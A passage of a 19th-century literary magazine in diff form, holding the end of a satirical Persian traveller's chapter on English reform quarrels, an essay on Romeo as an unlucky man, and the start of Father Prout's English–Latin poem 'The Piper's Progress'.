+may have in the brawls of two drunkards; and that, before things get
+straight, each of the drunkards must be sobered by breaking their shins
+in stumbling over a stone, or their heads by carrying them too high.
+
+
+CHAPTER VIII.
+
+We continued to drive onwards: the faster we went, the more the
+infidels argued. I sat in my corner guessing my way through their
+words, and already making up in my mind the sort of letter which I
+should write to the Asylum of the Universe upon the state of this
+extraordinary country, whilst my silent friend, with his hook-stick and
+close-buttoned coat, shut his eyes and slumbered; only occasionally
+giving signs of life. At length we arrived at a house which I
+supposed might be a caravanserai, after the Franc fashion, open to
+true believers, for, on looking up I saw painted upon a board an
+elephant with a castle upon its back. I began to think this might be
+in compliment to me, seeing that elephants are part of the state of
+Persian monarchs: but I was mistaken, because, instead of taking any
+notice of me, the sahib najib, on the contrary, did not show his usual
+civility; but, putting his head out of the window, he asked one of the
+bystanders, "Is there any news astir?"
+
+"Nothing particular," said an unconcerned infidel; "nothing. The papers
+say, 'A man threw a stone and has broken the king's head!'"
+
+"There," said the smooth man to the rough, "there, that comes of your
+reform!"
+
+"I deny that," said the other: "on the contrary, it comes of your
+no-reform."
+
+"Why, surely," answered the sahib najib, "if you had not taught the
+people not to respect their king, to despise his nobles, and to laugh
+at the laws, such an atrocity never would have happened."
+
+"No, indeed, it never would," retorted the other, "if you had made such
+changes that the people would love their king, respect his nobles, and
+be satisfied with the laws."
+
+"Then you think stoning your king a right thing to do?" said one.
+
+"Then you allow making him odious," answered the other, "is what ought
+to be done?"
+
+"Will a stone get up and throw itself?"
+
+"Will a man complain unless he be aggrieved?"
+
+"Hallo! my friend," said the sahib najib to the bystander, "what is
+said about this atrocious act, eh?"
+
+"Why, some say, 'Poor king!' others say, 'Poor stone!'" answered the
+bystander in the coolest manner possible.
+
+At this I began truly to have an insight into things, and could not
+help exclaiming in the bottom of my gullet, "_Allah Allah, il Allah!_
+There is but one Allah!"
+
+"You understood what that man said?" said Jān Pûl to me, with a
+sigh, and in a low voice.
+
+"_Belli_, yes," said I, "wonderful! The men of this country are lions
+without saints. Allah! Allah! to throw a stone at the king, and no
+executioner by, to cut the wretch's head off."
+
+"No, no," said he, "that must be proved; first, whether it was a stone;
+second, whether it was a man who threw it; and, third, whether it hit
+the king's head, or some other head."
+
+"_Aman, aman!_ Mercy, mercy!" I exclaimed; "let me return to Persia. If
+so little is said about breaking the king's head, where shall I turn
+for justice if some one cuts off my ears? Well may the people want
+reform!"
+
+"I will just prove to you, sir," said the soft infidel, "that this case
+just proves that we want no reform."
+
+"How!" said I, "break your king's head, and nobody to mend it!"
+
+"That is not the case," said he. "If a people have so much security
+from the laws, that not even the poorest wretch, even for a crime
+of such magnitude, can be condemned without proof against him and a
+full trial, surely they cannot complain: they are all equal in the
+eye of the law, and more they cannot want." He said this in great
+exultation, having obtained, as he conceived, a complete triumph over
+his adversary, and eyed him with appropriate scorn.
+
+The rough man looked as if his head went round and round, and as if he
+were come to a full stop; but, pulling up the two ends of his shirt,--I
+suppose to show that he had one,--he said, "If the people have one good
+law, is that a reason why they should not have more? The great man may
+get his head broke,--he is rich and mighty, a little salve cures him,
+and he is as rich and happy as ever; but the poor man who has broken
+it, save the satisfaction of making a good throw, he remains as poor
+and miserable as ever."
+
+"Then, sir," said the sahib najib, "you would have what can never
+be,--you would have perfect equality amongst mankind?"
+
+"Yes, truly," exclaimed the other; "because, if all were equal, there
+would be no heads broken, and no stones thrown."
+
+This, too, I understood, and said, "What words are these? All men
+cannot be kings, nor can they all be viziers, nor all khans. I, who
+know nothing of your extraordinary customs, I can understand that. Were
+I to think of being anything but what I am, might not my neighbour
+think so too; and if I wished to be him, and he me, why, then the
+world would soon be upside down, and from one end of the universe to
+the other there would be nothing but clutching of beards, and cries of
+justice, and no justice!"
+
+"Whatever you may say," said the rough infidel, "we must have more
+equality in our country than we have at present, or else the world will
+turn upside down. The rich must be poorer, and the poor richer."
+
+During this conversation we were in rapid motion, driving through
+streets lighted up as magnificently as if the Shah himself had ordered
+a feast of fire-works, and ornamented by shops exhibiting such riches,
+that not all the wealth brought from Hind by Nadir Shah, or amassed by
+the Sofi, could compare to it.
+
+"Strange," thought I to myself, "that this people are not satisfied
+with their lot!" Passing by a splendid shop, resplendent with cutlery,
+part of my instructions came into my head, and I said to the rough
+man, "In the name of the Prophet, do you still make penknives and
+broad-cloth?"
+
+At this question my companion stared, and said, "Penknives and
+broad-cloth, did you say? Why, we have more penknives and broad-cloth
+than we know what to do with. We have made so much and so many, that
+the whole world has more of them than it wants; and the poor creatures,
+the manufacturers, are starving for want of work. Surely this wants
+reform."
+
+This was delightful news for me, and I longed to send an immediate
+courier to the Shah to inform him of the important fact.
+
+"Whose fault is it?" said the soft man, determined not to be beaten on
+any ground. "If manufacturers will do too much, whose fault is it but
+their own? Unless you make a reform in common sense, surely no other
+reform is needful."
+
+By this time the coach had stopped, and I found that we had reached our
+last menzil. The rough man got out first; but just as he was stepping
+down, in order to ensure the last word, he exclaimed, "We want reform
+not only in that, but in everything else,--more particularly in rotten
+boroughs."
+
+At these two last words, the soft man became evidently angered, his
+liver turning into blood, whilst his face became red. "Rotten boroughs,
+indeed! the country is lost for ever if one borough is disfranchised."
+
+These words were totally new to my ears, and what they meant I knew
+not; but I became quite certain that the rough man had hit the smooth
+man in a sore place. But I was in the seventh heaven at the end of
+their controversy. I had never heard such warmth of argument, not since
+that famous dispute at the Medressah, in Ispahan, between two famous
+Mollahs, the one a suni, the other a shiah, whether the children of the
+true faith, in washing according to the prescribed law, were to let the
+water run from the hand to the elbow, or whether from the elbow to the
+hand. They argued for three whole moons, and neither were convinced;
+and so they remain to this day, each in his own persuasion.
+
+"How will it be possible," thought I, "to unravel this intricate
+question? It is plain these English are a nation of madmen. Oh! could
+they but take one look at my country, where the will of one man is
+all in all,--where no man's head is safe on his shoulders for one
+moment,--where, if he heaps up riches in the course of many years,
+they may be taken from him in an hour,--where he does not even think
+for himself, much less speak,--where man is as withering grass of
+the field, and life as the wind blowing over it; could they but know
+this, short would be their controversies. They would praise Allah with
+gratitude for their condition, be content with their fate, and drive
+all wish of change from their thoughts, as threatening the overthrow of
+their happiness."
+
+
+
+
+SHAKSPEARE PAPERS.--No. III.
+
+ROMEO.
+
+    "Of this unlucky sort our Romeus is one,
+    For all his hap turns to mishap, and all his mirth to mone."
+
+        _The Tragicall Historye of Romeus and Juliet._
+
+
+"Never," says Prince Escalus, in the concluding distich of Romeo and
+Juliet,
+
+    "--was there story of more woe
+    Than this of Juliet and her Romeo."
+
+It is a story which, in the inartificial shape of a black-letter
+ballad, powerfully affected the imagination, and awakened the
+sensibilities, of our ancestors, and in the hands of Shakspeare has
+become the love-story of the whole world. Who cares for the loves of
+Petrarch and Laura, or of Eloisa and Abelard, compared with those of
+Romeo and Juliet? The gallantries of Petrarch are conveyed in models
+of polished and ornate verse; but, in spite of their elegance, we feel
+that they are frosty as the Alps beneath which they were written. They
+are only the exercises of genius, not the ebullitions of feeling; and
+we can easily credit the story that Petrarch refused a dispensation
+to marry Laura, lest marriage might spoil his poetry. The muse, and
+not the lady, was his mistress. In the case of Abelard there are many
+associations which are not agreeable; and, after all, we can hardly
+help looking upon him as a fitter hero for Bayle's Dictionary than a
+romance. In Romeo and Juliet we have the poetry of Petrarch without its
+iciness, and the passion of Eloisa free from its coarse exhibition. We
+have, too, philosophy far more profound than ever was scattered over
+the syllogistic pages of Abelard, full of knowledge and acuteness as
+they undoubtedly are.
+
+But I am not about to consider Romeo merely as a lover, or to use him
+as an illustration of Lysander's often-quoted line,
+
+    "The course of true love never did run smooth."
+
+In that course the current has been as rough to others as to Romeo;
+who, in spite of all his misfortunes, has wooed and won the lady of his
+affections. That Lysander's line is often true, cannot be questioned;
+though it is no more than the exaggeration of an annoyed suitor to
+say that love has _never_ run smoothly. The reason why it should be
+so generally true, is given in "Peveril of the Peak" by Sir Walter
+Scott; a man who closely approached to the genius of Shakspeare in
+depicting character, and who, above all writers of imagination, most
+nearly resembled him in the possession of keen, shrewd, every-day
+common-sense, rendered more remarkable by the contrast of the romantic,
+pathetic, and picturesque by which it is in all directions surrounded.
+
+"This celebrated passage
+
+    ['Ah me! for aught that ever I could read,' &c.]
+
+which we have prefixed to this chapter, [chap. xii. vol. i. Peveril
+of the Peak,] has, like most observations of the same author, its
+foundation in real experience. The period at which love is felt most
+strongly is seldom that at which there is much prospect of its being
+brought to a happy issue. In fine, there are few men who do not look
+back in secret to some period of their youth at which a sincere and
+early affection was repulsed or betrayed, or became abortive under
+opposing circumstances. It is these little passages of secret history,
+which leave a tinge of romance in every bosom, scarce permitting us,
+even in the most busy or the most advanced period of life, to listen
+with total indifference to a tale of true love."[5]
+
+These remarks, the justice of which cannot be questioned, scarcely
+apply to the case of Romeo. In no respect, save that the families
+were at variance, was the match between him and Juliet such as not
+to afford a prospect of happy issue; and everything indicated the
+possibility of making their marriage a ground of reconciliation between
+their respective houses. Both are tired of the quarrel. Lady Capulet
+and Lady Montague are introduced in the very first scene of the play,
+endeavouring to pacify their husbands; and, when the brawl is over,
+Paris laments to Juliet's father that it is a pity persons of such
+honourable reckoning should have lived so long at variance. For Romeo
+himself old Capulet expresses the highest respect, as being one of the
+ornaments of the city; and, after the death of Juliet, old Montague,
+touched by her truth and constancy, proposes to raise to her a statue
+of gold. With such sentiments and predispositions, the early passion of
+the Veronese lovers does not come within the canon of Sir Walter Scott;
+and, as I have said, I do not think that Romeo is designed merely as an
+exhibition of a man unfortunate in love.
+
+I consider him to be meant as the character of an _unlucky_ man,--a
+man who, with the best views and fairest intentions, is perpetually so
+unfortunate as to fail in every aspiration, and, while exerting himself
+to the utmost in their behalf, to involve all whom he holds dearest
+in misery and ruin. At the commencement of the play an idle quarrel
+among some low retainers of the rival families produces a general riot,
+with which he has nothing to do. He is not present from beginning to
+end; the tumult has been so sudden and unexpected, that his father is
+obliged to ask
+
+    "What set this ancient quarrel new abroach?"
+
+And yet it is this very quarrel which lays him prostrate in death
+by his own hand, outside Capulet's monument, before the tragedy
+concludes. While the fray was going on, he was nursing love-fancies,
+and endeavouring to persuade himself that his heart was breaking for
+Rosaline. How afflicting his passion must have been, we see by the
+conundrums he makes upon it:
+
+    "Love is a smoke raised with the fume of sighs;
+    Being purged, a fire sparkling in lovers' eyes;
+    Being vex'd, a sea nourish'd with lovers' tears.[6]
+    What is it else?--a madness most discreet,
+    A choking gall, and a preserving sweet."--
+
+And so forth. The sorrows which we can balance in such trim antitheses
+do not lie very deep. The time is rapidly advancing when his sentences
+will be less sounding.
+
+    "It is my lady; oh, it is my love!
+    O that she knew she were!"--
+
+speaks more touchingly the state of his engrossed soul than all the
+fine metaphors ever vented. The supercilious Spartans in the days of
+their success prided themselves upon the laconic brevity of their
+despatches to states in hostility or alliance with them. When they were
+sinking before the Macedonians, another style was adopted; and Philip
+observed that he had taught them to lengthen their monosyllables. Real
+love has had a contrary effect upon Romeo. It has abridged his swelling
+passages, and brought him to the language of prose. The reason of the
+alteration is the same in both cases. The brevity of the Spartans
+was the result of studied affectation. They sought, by the insolence
+of threats obscurely insinuated in a sort of demi-oracular language,
+to impose upon others,--perhaps they imposed upon themselves,--an
+extravagant opinion of their mysterious power. The secret was found
+out at last, and their anger bubbled over in big words and lengthened
+sentences. The love of Rosaline is as much affected on the part of
+Romeo, and it explodes in wire-drawn conceits.
+
+    "When the devout religion of mine eye
+      Maintains such falsehood, then turn tears to fires;
+    And those who often drown'd could never die,
+      Transparent heretics, be burnt for liars.
+    One fairer than my love!--the all-seeing sun
+    Ne'er saw her match since first the world begun."
+
+It is no wonder that a gentleman who is so clever as to be able to say
+such extremely fine things, forgets, in the next scene, the devout
+religion of his eye, without any apprehension of the transparent
+heretic being burnt for a liar by the transmutation of tears into the
+flames of an _auto da fe_. He is doomed to discover that love in his
+case is not a madness most discreet when he defies the stars; there are
+then no lines of magnificent declamation.
+
+    "Is it even so? then I defy you, stars!
+    Thou knowest my lodging: get me ink and paper,
+    And hire post-horses; I will hence to-night."
+
+Nothing can be plainer prose than these verses. But how were they
+delivered? Balthazar will tell us.
+
+    "Pardon me, sir; I dare not leave you thus:
+    Your looks are pale and wild, and do import
+    Some misadventure."
+
+Again, nothing can be more quiet than his final determination:
+
+    "Well, Juliet, I will lie with thee to-night."
+
+It is plain Juliet,--unattended by any romantic epithet of love. There
+is nothing about "Cupid's arrow," or "Dian's wit;" no honeyed word
+escapes his lips,--nor again does any accent of despair. His mind is
+so made up,--the whole course of the short remainder of his life so
+unalterably fixed, that it is perfectly useless to think more about it
+He has full leisure to reflect without disturbance upon the details of
+the squalid penury which made him set down the poor apothecary as a
+fit instrument for what now had become his "need;" and he offers his
+proposition of purchasing that soon-speeding gear which is to hurry him
+out of life, with the same business-like tone as if he were purchasing
+a pennyworth of sugar-candy. When the apothecary suggests the danger
+of selling such drugs, Romeo can reflect on the folly of scrupling
+to sacrifice life when the holder of it is so poor and unfortunate.
+Gallant and gay of appearance himself, he tells his new-found
+acquaintance that bareness, famine, oppression, ragged misery, the
+hollow cheek and the hungry eye, are fitting reasons why death should
+be desired, not avoided; and with a cool philosophy assures him that
+gold is worse poison than the compound which hurries the life-weary
+taker out of the world. The language of desperation cannot be more
+dismally determined. What did the apothecary think of his customer as
+he pocketed the forty ducats? There you go, lad,--there you go, he
+might have said,--there you go with that in your girdle that, if you
+had the strength of twenty men, would straight despatch you. Well do
+I know the use for which you intend it. To-morrow's sun sees not you
+alive. And you philosophise to me on the necessity of buying food and
+getting into flesh. You taunt my poverty,--you laugh at my rags,--you
+bid me defy the law,--you tell me the world is my enemy. It may be
+so, lad,--it may be so; but less tattered is my garment than your
+heart,--less harassed by law of one kind or another my pursuit than
+yours. What ails that lad? I know not, neither do I care. But that
+he should moralise to me on the hard lot which I experience,--that
+he, with those looks and those accents, should fancy that I, amid
+my beggarly account of empty boxes, am less happy than he,--ha! ha!
+ha!--it is something to make one laugh. Ride your way, boy: I have your
+forty ducats in my purse, and you my drug in your pocket. And the law!
+Well! What can the executioner do worse to me in my penury and my age
+than you have doomed for yourself in your youth and splendour. I carry
+not my hangman in my saddle as I ride along. And the curses which the
+rabble may pour upon my dying moments,--what are they to the howling
+gurgle which, now rising from your heart, is deafening your ears?
+Adieu, boy,--adieu!--and keep your philosophy for yourself. Ho! ho! ho!
+
+But had any other passion or pursuit occupied Romeo, he would have been
+equally unlucky as in his love. Ill fortune has marked him for her own.
+From beginning to end he intends the best; but his interfering is ever
+for the worst. It is evident that he has not taken any part in the
+family feud which divides Verona, and his first attachment is to a lady
+of the antagonist house.[7] To see that lady,--perhaps to mark that
+he has had no share in the tumult of the morning,--he goes to a ball
+given by Capulet, at which the suitor accepted by the family is to be
+introduced to Juliet as her intended husband. Paris is in every way an
+eligible match.
+
+    "Verona's summer hath not such a flower."
+
+He who has slain him addresses his corse as that of the "noble County
+Paris," with a kindly remembrance that he was kinsman of a friend slain
+in Romeo's own cause. Nothing can be more fervent, more honourable,
+or more delicate than his devoted and considerate wooing. His grief
+at the loss of Juliet is expressed in few words; but its sincerity is
+told by his midnight and secret visit to the tomb of her whom living he
+had honoured, and on whom, when dead, he could not restrain himself
+from lavishing funereal homage. Secure of the favour of her father, no
+serious objection could be anticipated from herself. When questioned
+by her mother, she readily promises obedience to parental wishes, and
+goes to the ball determined to "look to like, if looking liking move."
+Everything glides on in smooth current till the appearance of him
+whose presence is deadly. Romeo himself is a most reluctant visitor.
+He apprehends that the consequences of the night's revels will be the
+vile forfeit of a despised life by an untimely death, but submits to
+his destiny. He foresees that it is no wit to go, but consoles himself
+with the reflection that he "means well in going to this mask." His
+intentions, as usual, are good; and, as usual, their consequences are
+ruinous.
+
+He yields to his passion, and marries Juliet. For this hasty act he has
+the excuse that the match may put an end to the discord between the
+families. Friar Lawrence hopes that
+
+            "this alliance may so happy prove
+    To turn your households' rancour into love."
+
+It certainly has that effect in the end of the play, but it is by the
+suicidal deaths of the flower and hope of both families. Capulet and
+Montague tender, in a gloomy peace the hands of friendship, over the
+untimely grave of the poor sacrifices to their enmity. Had he met
+her elsewhere than in her father's house, he might have succeeded in
+a more prosperous love. But there his visit is looked upon by the
+professed duellist Tybalt, hot from the encounter of the morning,
+and enraged that he was baulked of a victim, as an intrusion and an
+insult. The fiery partisan is curbed with much difficulty by his uncle;
+and withdraws, his flesh trembling with wilful choler, determined to
+wreak vengeance at the first opportunity on the intruder. It is not
+long before the opportunity offers. Vainly does Romeo endeavour to
+pacify the bullying swordsman,--vainly does he protest that he loves
+the name of Capulet,--vainly does he decline the proffered duel. His
+good intentions are again doomed to be frustrated. There stands by
+his side as mad-blooded a spirit as Tybalt himself, and Mercutio,
+all unconscious of the reasons why Romeo refuses to fight, takes up
+the abandoned quarrel. The star of the unlucky man is ever in the
+ascendant. His ill-omened interference slays his friend. Had he kept
+quiet, the issue might have been different; but the power that had
+the steerage of his course had destined that the uplifting of his
+sword was to be the signal of death to his very friend. And when
+the dying Mercutio says, "Why the devil came you between us? I was
+hurt under your arm;" he can only offer the excuse, which is always
+true, and always unavailing, "I thought all for the best." All his
+visions of reconciliation between the houses are dissipated. How can
+he now avoid fighting with Tybalt? His best friend lies dead, slain
+in his own quarrel, through his own accursed intermeddling; and the
+swaggering victor, still hot from the slaughter, comes back to triumph
+over the dead. Who with the heart and spirit of a man could under such
+circumstances refrain from exclaiming,
+
+    "Away to heaven, respective lenity!
+    And fire-eyed fury be my conduct now."
+
+Vanish gentle breath, calm words, knees humbly bowed!--his weapon
+in an instant glitters in the blazing sun; and as with a lightning
+flash,--as rapidly and resistlessly,--before Benvolio can pull his
+sword from the scabbard, Tybalt, whom his kindred deemed a match for
+twenty men, is laid by the side of him who but a moment before had
+been the victim of his blade. What avails the practised science of
+the duellist, the gentleman of the very first house, of the first and
+second cause!--how weak is the immortal passado, or the punto reverso,
+the hay, or all the other learned devices of Vincent Saviola, against
+the whirlwind rage of a man driven to desperation by all that can rouse
+fury or stimulate hatred! He sees the blood of his friend red upon the
+ground; the accents of gross and unprovoked outrage ring in his ears;
+the perverse and obstinate insolence of a bravo confident in his skill,
+and depending upon it to insure him impunity, has marred his hopes; and
+the butcher of the silk button has no chance against the demon which he
+has evoked. "A la stoccata" carries it not away in this encounter; but
+Romeo exults not in his death. He stands amazed, and is with difficulty
+hurried off, exclaiming against the constant fate which perpetually
+throws him in the way of misfortune. Well, indeed, may Friar Lawrence
+address him by the title of "thou fearful man!"--as a man whose career
+through life is calculated to inspire terror. Well may he say to him
+that
+
+    "Affliction is enamour'd of thy parts,
+    And thou art wedded to calamity."
+
+And slight is the attention which Romeo pays to the eloquent arguments
+by which it is proved that he had every reason to consider himself
+happy. When the friar assures him that
+
+    "A pack of blessings lights upon thy back,
+    Happiness courts thee in her best array,"
+
+the nurse may think it a discourse of learning and good counsel, fit to
+detain an enraptured auditor all the night. Romeo feels it in his case
+to be an idle declamation, unworthy of an answer.
+
+The events which occur during his enforced absence, the haste
+of Paris to be wedded, the zeal of old Capulet in promoting the
+wishes of his expected son-in-law, the desperate expedient of the
+sleeping-draught,[8] the accident which prevented the delivery of the
+friar's letter, the officious haste of Balthazar to communicate the
+tidings of Juliet's burial, are all matters out of his control. But the
+mode of his death is chosen by himself; and in that he is as unlucky as
+in everything else. Utterly loathing life, the manner of his leaving it
+must be instantaneous. He stipulates that the poison by which he is to
+die shall not be slow of effect. He calls for
+
+            "such soon-speeding gear
+    As will disperse itself through all the veins,
+    That the life-weary taker may fall dead."
+
+He leaves himself no chance of escape. Instant death is in his hand;
+and, thanking the true apothecary for the quickness of his drugs, he
+scarcely leaves himself a moment with a kiss to die. If he had been
+less in a hurry,--if he had not felt it impossible to delay posting off
+to Verona for a single night,--if his riding had been less rapid, or
+his medicine less sudden in its effect, he might have lived. The friar
+was at hand to release Juliet from her tomb the very instant after the
+fatal phial had been emptied. That instant was enough: the unlucky man
+had effected his purpose just when there was still a chance that things
+might be amended. Those who wrote the scene between Romeo and Juliet
+which is intended to be pathetic, after her awakening and before his
+death, quite mistake the character of the hero of the play. I do not
+blame them for their poetry, which is as good as that of second-rate
+writers of tragedy in general; and think them, on the whole, deserving
+of our commendation for giving us an additional proof how unable clever
+men upon town are to follow the conceptions of genius. Shakspeare, if
+he thought it consistent with the character which he had with so much
+deliberation framed, could have written a parting scene at least as
+good as that with which his tragedy has been supplied; but he saw the
+inconsistency, though his unasked assistants did not. They tell us they
+did it to consult popular taste. I do not believe them. I am sure that
+popular taste would approve of a recurrence to the old play in all its
+parts; but a harlotry play-actor might think it hard upon him to be
+deprived of a "point," pointless as that point may be.
+
+Haste is made a remarkable characteristic of Romeo,--because it is at
+once the parent and the child of uniform misfortune. As from the acorn
+springs the oak, and from the oak the acorn, so does the temperament
+that inclines to haste predispose to misadventure, and a continuance
+of misadventure confirms the habit of haste. A man whom his rashness
+has made continually unlucky, is strengthened in the determination to
+persevere in his rapid movements by the very feeling that the "run"
+is against him, and that it is of no use to think. In the case of
+Romeo, he leaves it all to the steerage of Heaven, _i. e._ to the heady
+current of his own passions; and he succeeds accordingly. All through
+the play care is taken to show his impatience. The very first word he
+speaks indicates that he is anxious for the quick passage of time.
+
+    "_Ben._ Good morrow, cousin.
+
+    _Rom._ Is the day so young?
+
+    _Ben._ But new struck nine.
+
+    _Rom._ Ay me, sad hours seem long."
+
+The same impatience marks his speech in the moment of death:
+
+                          "O true apothecary,
+    Thy drugs are quick!"
+
+From his first words to his last the feeling is the same. The lady of
+his love, even in the full swell of her awakened affections, cannot
+avoid remarking that his contract is
+
+    "Too rash, too unadvised, too sudden,
+    Too like the lightning, which does cease to be
+    Ere one can say, It lightens."
+
+When he urges his marriage on the friar,
+
+    "_Rom._ O let us home: I stand on sudden haste.
+
+    _Friar._ Wisely and slow. They stumble that run fast."
+
+The metaphors put into his mouth are remarkable for their allusions to
+abrupt and violent haste. He wishes that he may die
+
+    "As violently as hasty powder fired
+    Doth hurry from the fatal cannon's womb."
+
+When he thinks that Juliet mentions his name in anger, it is
+
+                            "as if that name,
+    Shot from the deadly level of a gun,
+    Did murder her."
+
+When Lawrence remonstrates with him on his violence, he compares the
+use to which he puts his wit to
+
+    "Powder in a skilless soldier's flask;"
+
+and tells him that
+
+    "Violent delights have violent ends,
+    And in their triumph die; like fire and powder,
+    Which, as they kiss, consume."
+
+Lightning, flame, shot, explosion, are the favourite parallels to the
+conduct and career of Romeo. Swift are his loves; as swift to enter his
+thought, the mischief which ends them for ever. Rapid have been all the
+pulsations of his life; as rapid, the determination which decides that
+they shall beat no more.
+
+A gentleman he was in heart and soul. All his habitual companions
+love him: Benvolio and Mercutio, who represent the young gentlemen of
+his house, are ready to peril their lives, and to strain all their
+energies, serious or gay, in his service. His father is filled with
+an anxiety on his account so delicate, that he will not venture to
+interfere with his son's private sorrows, while he desires to discover
+their source, and if possible to relieve them. The heart of his mother
+bursts in his calamity; the head of the rival house bestows upon him
+the warmest panegyrics; the tutor of his youth sacrifices everything to
+gratify his wishes; his servant, though no man is a hero to his _valet
+de chambre_, dares not remonstrate with him on his intentions, even
+when they are avowed to be savage-wild,
+
+    "More fierce, and more inexorable far,
+    Than empty tigers or the roaring sea,"--
+
+but with an eager solicitude he breaks his commands by remaining as
+close as he can venture, to watch over his safety. Kind is he to all.
+He wins the heart of the romantic Juliet by his tender gallantry: the
+worldly-minded nurse praises him for being as gentle as a lamb. When
+it is necessary or natural that the Prince or Lady Montague should
+speak harshly of him, it is done in his absence. No words of anger or
+reproach are addressed to his ears save by Tybalt; and from him they
+are in some sort a compliment, as signifying that the self-chosen
+prize-fighter of the opposing party deems Romeo the worthiest
+antagonist of his blade. We find that he fights two blood-stained
+duels, but both are forced upon him; the first under circumstances
+impossible of avoidance, the last after the humblest supplications to
+be excused.
+
+                  "O begone!
+    By Heaven, I love thee better than myself,
+    For I came hither armed against myself.
+    Stay not; begone!--live, and hereafter say
+    A madman's mercy bade thee run away."
+
+With all the qualities and emotions which can inspire affection and
+esteem,--with all the advantages that birth, heaven, and earth could
+at once confer,--with the most honourable feelings and the kindliest
+intentions,--he is eminently an unlucky man. The record of his actions
+in the play before us does not extend to the period of a week; but
+we feel that there is no dramatic straining to shorten their course.
+Everything occurs naturally and probably. It was his concluding week;
+but it tells us all his life. Fortune was against him; and would have
+been against him, no matter what might have been his pursuit. He was
+born to win battles, but to lose campaigns. If we desired to moralize
+with the harsh-minded satirist, who never can be suspected of romance,
+we should join with him in extracting as a moral from the play
+
+    "Nullum habes numen, si sit prudentia; sed te
+    Nos facimus, Fortuna, deam, cœloquê locamus;"
+
+and attribute the mishaps of Romeo, not to want of fortune, but of
+prudence. Philosophy and poetry differ not in essentials, and the stern
+censure of Juvenal is just. But still, when looking on the timeless
+tomb of Romeo, and contemplating the short and sad career through which
+he ran, we cannot help recollecting his mourning words over his dying
+friend, and suggest as an inscription over the monument of the luckless
+gentleman,
+
+    "I THOUGHT ALL FOR THE BEST."
+
+FOOTNOTES:
+
+[Footnote 5: Was Sir Walter thinking of his own case when he wrote this
+passage? See his Life by Lockhart, vol. i. p. 242. His family used to
+call Sir Walter _Old Peveril_, from some fancied resemblance of the
+character.]
+
+[Footnote 6: Is there not a line missing?]
+
+[Footnote 7: Rosaline was niece of Capulet. The list of persons invited
+to the ball is
+
+    "Signior Martino, and his wife and daughters;
+    County Anselm[o], and his beauteous sisters;
+    The lady widow of Vetruvio;
+    Signior Placentio, and his lovely nieces;
+    Mercutio, and his brother Valentine;
+    Mine uncle Capulet, his wife and daughters;
+    _My fair niece Rosaline_; [and] Livia;
+    Signior Valentio, and his cousin Tybalt;
+    Lucio, and the lively Helena."
+
+I have altered _Anselme_ to the Italian form _Anselmo_, and in the
+seventh line inserted _and_. I think I may fairly claim this list as
+being in verse. It is always printed as prose.]
+
+[Footnote 8: Is there not some mistake in the length of time that this
+sleeping-draught is to occupy, if we consider the text as it now stands
+to be correct? Friar Lawrence says to Juliet, when he is recommending
+the expedient,
+
+    "Take thou this phial, being then in bed,
+    And this distilled liquor drink thou off:
+    When presently through all thy veins shall run
+    A cold and drowsy humour, which shall seize
+    Each vital spirit, &c.
+    And in this borrow'd likeness of shrunk death
+    Thou shalt remain _full two and forty hours_,
+    And then awake as from a pleasant sleep."
+
+Juliet retires to bed on Tuesday night, at a somewhat early hour. Her
+mother says after she departs, "'Tis now near night." Say it is eleven
+o'clock: forty-two hours from that hour bring us to five o'clock in the
+evening of Thursday; and yet we find the time of her awakening fixed
+in profound darkness, and not long before the dawn. We should allow at
+least ten hours more, and read,
+
+    "Thou shalt remain full _two and fifty_ hours,"--
+
+which would fix her awakening at three o'clock in the morning, a time
+which has been marked in a former scene as the approach of day.
+
+    "_Cap._ Come, stir, stir, stir! The second cock has crow'd,--
+    The curfew bell hath rung,--'tis three o'clock."
+
+Immediately after he says, "Good faith, 'tis day." This observation may
+appear superfluously minute; but those who take the pains of reading
+the play critically will find that it is dated throughout with a most
+exact attention to hours. We can time almost every event. Ex. gr.
+Juliet dismisses the nurse on her errand to Romeo when the clock struck
+nine, and complains that she has not returned at twelve. At twelve
+she does return, and Juliet immediately proceeds to Friar Lawrence's
+cell, where she is married without delay. Romeo parts with his bride
+at once, and meets his friends while "the day is hot." Juliet at the
+same hour addresses her prayer to the fiery-footed steeds of Phœbus,
+too slowly for her feelings progressing towards the west. The same
+exactness is observed in every part of the play.
+
+I may remark, as another instance of Romeo's ill luck, the change of
+the original wedding-day. When pressed by Paris, old Capulet says that
+"Wednesday is too soon,--on Thursday let it be;" but afterwards, when
+he imagines that his daughter is inclined to consult his wishes, he
+fixes it for Wednesday, even though his wife observes that Thursday is
+time enough. Had this day not been lost, the letter of Friar Lawrence
+might still have been forwarded to Mantua to explain what had occurred.]
+
+
+
+
+THE PIPER'S PROGRESS.
+
+BY FATHER PROUT.
+
+
+                1.
+
+    When I was a boy
+      In my father's mud edifice,
+    Tender and bare
+      As a pig in a sty;
+    Out of the door as I
+      Looked with a steady phiz,
+    Who but Thade Murphy,
+      The piper, went by;
+    Says Thady, "But few play
+    This music--can _you_ play?"
+    Says I, "I can't tell,
+      For I never did try."
+    So he told me that _he_ had a charm
+      To make the pipes purtily speak;
+    Then squeezed a bag under his arm,
+      When sweetly they set up a squeak!
+        _Fa-ra-la la-ra-la loo!_
+
+      _Och hone!
+      How he handled the drone!
+        And then the sweet music he blew
+      Would have melted the heart of a stone!_
+
+
+                I.
+
+    Pater me clauserat
+    Domi homunculum;
+    Grunniens sus erat
+      Comes, ut mos:
+    Transibat tibicen
+    Juxta domunculam,
+    Quando per januam
+      Protuli os;
+    Ille ait impromptu,
+    "Hâc tibiâ num tu,
+    Ut te sine sumptu
+      Edoceam, vis?"
+    Tum pressit amiculam
+    Sub ulnâ vesiculam
+    Quæ sonum reddidit
+      Vocibus his:
+    _Fa-ra-la la-ra-la loo!_
+
+        Φευ, ϕευ!
+      _Modo flens, modo flans,
+        Magico_ ελελευ
+      _Cor et aurem vel lapidi dans!_
+
+
+                2.
+
+    "Your pipe," says I, "Thady,
+      So neatly comes over me,
+    Naked I'll wander
+      Wherever it blows;
+    And, if my poor parents
+      Should try to recover me,
+    Sure it won't be
+      By describing my clothes.
+    The music I hear now
+    Takes hold of my ear now,
+    And leads me all over
+      The world by the nose."
+    So I follow'd his bagpipe so sweet,
+      And I sung, as I leapt like a frog,
+      "Adieu to my family seat,
+      So pleasantly placed in a bog!"
+        _Fa-ra-la la-ra-la loo!_
+
+      _Och hone!
+      How we handled the drone!
+        And then the sweet music we blew
+      Would have melted the heart of a stone!_
+
+
+                II.
+
+    Cui ego tum: "Tu sic, ah!
+    Me rapis musicâ,
+    Ut sequar nudulus
+      Tibicen, te!
+    Et si pater, testibus,
+    Quærat me, vestibus,
+    Redibit, ædepol!
+      Vacuâ re.
+    Sic melos quod audio
+    Me replet gaudio
